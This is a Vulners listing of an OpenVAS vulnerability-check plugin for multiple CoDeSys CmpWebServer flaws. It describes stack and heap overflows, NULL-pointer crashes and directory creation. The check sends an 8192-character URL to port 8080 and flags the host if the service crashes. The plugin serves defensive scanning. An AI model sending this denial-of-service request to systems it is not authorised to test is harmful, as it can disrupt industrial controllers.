Lucene search
+L

Codesys CmpWebServer Multiple Vulnerabilities

🗓️ 06 Dec 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 39 Views

Codesys CmpWebServer Multiple Vulnerabilitie

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2011-5007
13 Dec 201100:00
circl
circl
Circl
CVE-2011-5009
30 Nov 201100:00
circl
checkpoint_advisories
Check Point Advisories
Smart Software Solutions CoDeSys ControlService Stack Buffer Overflow (CVE-2011-5007)
28 May 201200:00
checkpoint_advisories
checkpoint_advisories
Check Point Advisories
Smart Software Solutions CoDeSys CmpWebServer Content-Length NULL Pointer (CVE-2011-5009)
14 Apr 201300:00
checkpoint_advisories
cve
CVE
CVE-2011-5007
25 Dec 201101:00
cve
cve
CVE
CVE-2011-5008
25 Dec 201101:00
cve
cve
CVE
CVE-2011-5009
25 Dec 201101:00
cve
cve
CVE
CVE-2011-5058
10 Jan 201223:00
cve
cvelist
Cvelist
CVE-2011-5007
25 Dec 201101:00
cvelist
cvelist
Cvelist
CVE-2011-5008
25 Dec 201101:00
cvelist
Rows per page
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802280");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2011-5007", "CVE-2011-5008", "CVE-2011-5009", "CVE-2011-5058");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-12-06 12:12:12 +0530 (Tue, 06 Dec 2011)");
  script_name("Codesys CmpWebServer Multiple Vulnerabilities");

  script_xref(name:"URL", value:"http://secunia.com/advisories/47018");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18187");
  script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/codesys_1-adv.txt");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/107456/codesys-overflow.txt");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("3S_WebServer/banner");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to execute
  arbitrary code on the system or cause the application to crash.");

  script_tag(name:"affected", value:"Codesys version 3.4 SP4 Patch 2 and prior.");

  script_tag(name:"insight", value:"- A boundary error in the Control service when processing web
  requests can be exploited to cause a stack-based buffer overflow via an overly
  long URL sent to TCP port 8080

  - A NULL pointer dereference error in the CmbWebserver.dll module of the
  Control service when processing HTTP POST requests can be exploited to deny
  processing further requests via a specially crafted 'Content-Length' header
  sent to TCP port 8080

  - A NULL pointer dereference error in the CmbWebserver.dll module of the
  Control service when processing web requests can be exploited to deny
  processing further requests by sending a request with an unknown HTTP
  method to TCP port 8080

  - An error in the Control service when processing web requests containing a
  non existent directory can be exploited to create arbitrary directories
  within the webroot via requests sent to TCP port 8080

  - An integer overflow error in the Gateway service when processing certain
  requests can be exploited to cause a heap-based buffer overflow via a
  specially crafted packet sent to TCP port 1217");

  script_tag(name:"solution", value:"Upgrade to version 2.3.9.32, 3.5 or later.");

  script_tag(name:"summary", value:"Codesys is prone to multiple vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:8080);

banner = http_get_remote_headers(port:port);
if("Server: 3S_WebServer" >!< banner)
  exit(0);

if(http_is_dead(port:port))
  exit(0);

req = string("GET /", crap(data:"a", length:8192), "\\a HTTP/1.0\r\n\r\n");
http_send_recv(port:port, data:req);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation